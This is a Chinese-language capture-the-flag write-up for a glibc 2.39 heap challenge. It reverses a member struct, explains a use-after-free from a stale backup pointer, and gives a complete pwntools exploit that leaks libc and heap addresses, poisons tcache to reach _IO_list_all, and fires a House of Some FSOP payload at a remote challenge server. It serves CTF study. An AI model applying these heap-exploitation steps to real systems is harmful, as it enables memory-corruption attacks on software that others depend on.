glibc 2.39 菜单堆。逆向得出堆块结构体:

struct Member
{
    int64_t backup_size;
    char* backup;
    char name[0x20];
    char department[0x18];
    int32_t level;
    int32_t index;
    int64_t create_time;
    uint64_t checksum;
};

写出各功能交互模板:

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'1')

def backup_edit(index: int, data: bytes):
    backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'1')
    io.sendafter(b'global data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'4')

global_Hash+Append 时可能 off_by_one 写入 ']':

global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()

这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bkbackup 重合以泄露基址以及构造假堆块:

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# gdb.attach(io, 'set exception-verbose on')

def _manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    _manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    if backup is not None:
        io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    _manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def _backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int) -> bytes:
    _backup(index)
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'Backup @ ')
    io.recvuntil(b': ')
    return io.recvline(False)

def backup_edit(index: int, data: bytes):
    _backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    _backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'4')

def exitit():
    io.sendlineafter(b'Choice: ', b'5')

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)

crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding

crew_delete(4)
crew_delete(6)

crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next

crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)

exitit()
hos.bomb(io)

io.interactive()

标签: none

添加新评论